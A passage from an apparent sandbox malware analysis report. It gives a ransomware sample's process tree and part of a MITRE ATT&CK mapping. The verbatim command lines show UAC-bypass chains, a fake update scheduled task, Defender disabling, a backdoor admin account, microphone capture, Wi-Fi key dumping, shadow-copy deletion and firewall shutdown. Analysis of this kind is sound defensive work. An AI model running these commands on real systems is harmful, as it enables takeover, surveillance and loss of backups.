                                                                                                                                                                                                                                                                              PID:2700
                                                                                                                                                                                                                                                                            • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\f99bdafd-0681-40ff-9450-782dfeed3d78.inf
                                                                                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                                                                                PID:2136
                                                                                                                                                                                                                                                                              • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                                                                                                "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                  PID:3628
                                                                                                                                                                                                                                                                                  • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                      PID:2864
                                                                                                                                                                                                                                                                                  • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                                                                                    "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                      PID:5172
                                                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe
                                                                                                                                                                                                                                                                                        "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe"
                                                                                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                                                                                          PID:5864
                                                                                                                                                                                                                                                                                          • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                            • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                            PID:5408
                                                                                                                                                                                                                                                                                          • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\1cafa134-59e7-45a8-b0d1-3548a26ae2ac.inf
                                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                                              PID:6108
                                                                                                                                                                                                                                                                                            • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                                                                                                              "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                PID:4252
                                                                                                                                                                                                                                                                                                • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                                                                                                  "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                    PID:1268
                                                                                                                                                                                                                                                                                                • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                                                                                                  "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                    PID:4824
                                                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe
                                                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe"
                                                                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                                                                        PID:6364
                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                                                                                                          • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                          PID:5324
                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\b0eb3363-699e-49fb-b1c8-0e630149f0b3.inf
                                                                                                                                                                                                                                                                                                          8⤵
                                                                                                                                                                                                                                                                                                            PID:5232
                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                                                                                                              PID:3988
                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                                                                                                                "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                                                                                  PID:6504
                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                                                                                                                "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                                                                                  PID:6604
                                                                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe
                                                                                                                                                                                                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe"
                                                                                                                                                                                                                                                                                                                    9⤵
                                                                                                                                                                                                                                                                                                                      PID:3960
                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                                                                                                                                        • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                                        PID:6468
                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\03b92e26-46ab-4c6c-bf87-0f8701d3167c.inf
                                                                                                                                                                                                                                                                                                                        10⤵
                                                                                                                                                                                                                                                                                                                          PID:7224
                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                                                                                                            PID:7300
                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                                                                                                                              "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                                                                                                                              11⤵
                                                                                                                                                                                                                                                                                                                                PID:7448
                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                                                                                                                              "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                                                                                                                PID:7456
                                                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe
                                                                                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe"
                                                                                                                                                                                                                                                                                                                                  11⤵
                                                                                                                                                                                                                                                                                                                                    PID:6848
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                                                                                                                                                      • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                                                      PID:8888
                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\62a03625-6b5a-4257-93e4-8b22be40ef6f.inf
                                                                                                                                                                                                                                                                                                                                      12⤵
                                                                                                                                                                                                                                                                                                                                        PID:8960
                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                                                                                                                                                        12⤵
                                                                                                                                                                                                                                                                                                                                          PID:9104
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                                                                                                                                            "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                                                                                                                                            13⤵
                                                                                                                                                                                                                                                                                                                                              PID:9156
                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                                                                                                                                            12⤵
                                                                                                                                                                                                                                                                                                                                              PID:9172
                                                                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe
                                                                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe"
                                                                                                                                                                                                                                                                                                                                                13⤵
                                                                                                                                                                                                                                                                                                                                                  PID:9584
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\schtasks.exe
                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe" /sc onlogon /f
                                                                                                                                                                                                                                                                                                                                                    14⤵
                                                                                                                                                                                                                                                                                                                                                    • Scheduled Task/Job: Scheduled Task
                                                                                                                                                                                                                                                                                                                                                    PID:10848
                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\System32\cmstp.exe
                                                                                                                                                                                                                                                                                                                                                    "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\1c81a2a2-9b4f-49e0-a0da-f67307f3c3f6.inf
                                                                                                                                                                                                                                                                                                                                                    14⤵
                                                                                                                                                                                                                                                                                                                                                      PID:10296
                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\eventvwr.exe
                                                                                                                                                                                                                                                                                                                                                      "C:\Windows\System32\eventvwr.exe"
                                                                                                                                                                                                                                                                                                                                                      14⤵
                                                                                                                                                                                                                                                                                                                                                        PID:10308
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\mmc.exe
                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
                                                                                                                                                                                                                                                                                                                                                          15⤵
                                                                                                                                                                                                                                                                                                                                                            PID:10780
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\fodhelper.exe
                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\fodhelper.exe"
                                                                                                                                                                                                                                                                                                                                                          14⤵
                                                                                                                                                                                                                                                                                                                                                            PID:8824
                                                                                                                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe
                                                                                                                                                                                                                                                                                                                                                              "C:\Users\Admin\AppData\Local\Temp\onafhankelijkeenergievergelijker.nl_ransome.exe"
                                                                                                                                                                                                                                                                                                                                                              15⤵
                                                                                                                                                                                                                                                                                                                                                                PID:9348
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                              "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                                                                                                                              14⤵
                                                                                                                                                                                                                                                                                                                                                              • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                              PID:10932
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                              "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                              14⤵
                                                                                                                                                                                                                                                                                                                                                              • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                              PID:10056
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                          "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                                                                                                                                                          • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                          PID:9180
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                          "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                                                                                                                                                          • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                          PID:7760
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                            13⤵
                                                                                                                                                                                                                                                                                                                                                            • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                            PID:3896
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                          "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                          12⤵
                                                                                                                                                                                                                                                                                                                                                            PID:9496
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                              13⤵
                                                                                                                                                                                                                                                                                                                                                                PID:9072
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                          "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                                                                                                                                          • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                                                                                                                          • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                          PID:7464
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                          "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                                                                                                                                          • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                          PID:6576
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                            C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                            11⤵
                                                                                                                                                                                                                                                                                                                                                            • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                            PID:8588
                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                          "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                          10⤵
                                                                                                                                                                                                                                                                                                                                                            PID:8980
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                              11⤵
                                                                                                                                                                                                                                                                                                                                                                PID:5524
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                                                                                                                              "notepad.exe"
                                                                                                                                                                                                                                                                                                                                                              10⤵
                                                                                                                                                                                                                                                                                                                                                                PID:9084
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                            "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                                                                                                                                                            • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                            PID:4060
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                            "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                                                                                                                                                            • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                            PID:6768
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                              C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                              9⤵
                                                                                                                                                                                                                                                                                                                                                              • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                              PID:7768
                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                            "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                            8⤵
                                                                                                                                                                                                                                                                                                                                                              PID:7944
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                                9⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:7408
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                                                                                                                                "notepad.exe"
                                                                                                                                                                                                                                                                                                                                                                8⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:9544
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                              "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                              • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                                                                                                                              • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                              PID:2300
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                              "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                              • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                              PID:6380
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                                7⤵
                                                                                                                                                                                                                                                                                                                                                                • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                                PID:7044
                                                                                                                                                                                                                                                                                                                                                            • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                              "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                              6⤵
                                                                                                                                                                                                                                                                                                                                                                PID:6092
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                                  7⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:6488
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                                                                                                                                  "notepad.exe"
                                                                                                                                                                                                                                                                                                                                                                  6⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:8652
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                                                                                                                                • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                PID:5180
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                                PID:3024
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                  C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                                                                                                                                                                  • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                                  PID:5984
                                                                                                                                                                                                                                                                                                                                                              • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                                                                                                                                                  PID:3832
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:5424
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                                                                                                                                    "notepad.exe"
                                                                                                                                                                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                                                                                                                                                                      PID:6456
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639244286809841057.wav')"
                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                      • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                      PID:6292
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\netsh.exe
                                                                                                                                                                                                                                                                                                                                                                      "netsh" wlan show profiles key=clear
                                                                                                                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                                                                                                                      • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                                                                                                                                                                                                                                                      PID:9220
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                  • Disables one or more Microsoft Defender components
                                                                                                                                                                                                                                                                                                                                                                  • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                  PID:1876
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                  "net.exe" user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                  • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                                  PID:748
                                                                                                                                                                                                                                                                                                                                                                  • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
                                                                                                                                                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                                                                                                                                                    • Creates a new local user account
                                                                                                                                                                                                                                                                                                                                                                    PID:968
                                                                                                                                                                                                                                                                                                                                                                • C:\Windows\system32\net.exe
                                                                                                                                                                                                                                                                                                                                                                  "net.exe" localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                    PID:5288
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\net1.exe
                                                                                                                                                                                                                                                                                                                                                                      C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
                                                                                                                                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:5756
                                                                                                                                                                                                                                                                                                                                                                    • C:\Windows\system32\notepad.exe
                                                                                                                                                                                                                                                                                                                                                                      "notepad.exe"
                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                        PID:7100
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                                                                                                                                                        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639244286754528957.wav')"
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                                                                                                                                                                                                                                                                                        PID:10112
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\system32\netsh.exe
                                                                                                                                                                                                                                                                                                                                                                        "netsh" wlan show profiles key=clear
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • System Network Configuration Discovery: Wi-Fi Discovery
                                                                                                                                                                                                                                                                                                                                                                        PID:9360
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\vssadmin.exe
                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                        • Interacts with shadow copies
                                                                                                                                                                                                                                                                                                                                                                        PID:7436
                                                                                                                                                                                                                                                                                                                                                                      • C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                                                                                                                                                                                                                                                        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                          PID:10800
                                                                                                                                                                                                                                                                                                                                                                        • C:\Windows\System32\net.exe
                                                                                                                                                                                                                                                                                                                                                                          "C:\Windows\System32\net.exe" stop srservice
                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                            PID:11124
                                                                                                                                                                                                                                                                                                                                                                          • C:\Windows\System32\netsh.exe
                                                                                                                                                                                                                                                                                                                                                                            "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                            • Modifies Windows Firewall
                                                                                                                                                                                                                                                                                                                                                                            PID:10960

                                                                                                                                                                                                                                                                                                                                                                        Network

                                                                                                                                                                                                                                                                                                                                                                              MITRE ATT&CK Enterprise v16

                                                                                                                                                                                                                                                                                                                                                                              Reconnaissance

                                                                                                                                                                                                                                                                                                                                                                              Resource Development

                                                                                                                                                                                                                                                                                                                                                                              Initial Access

                                                                                                                                                                                                                                                                                                                                                                              Execution

                                                                                                                                                                                                                                                                                                                                                                              Command and Scripting Interpreter

                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                              T1059

                                                                                                                                                                                                                                                                                                                                                                              PowerShell

                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                              T1059.001

                                                                                                                                                                                                                                                                                                                                                                              Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                              T1053

                                                                                                                                                                                                                                                                                                                                                                              Scheduled Task

                                                                                                                                                                                                                                                                                                                                                                              1
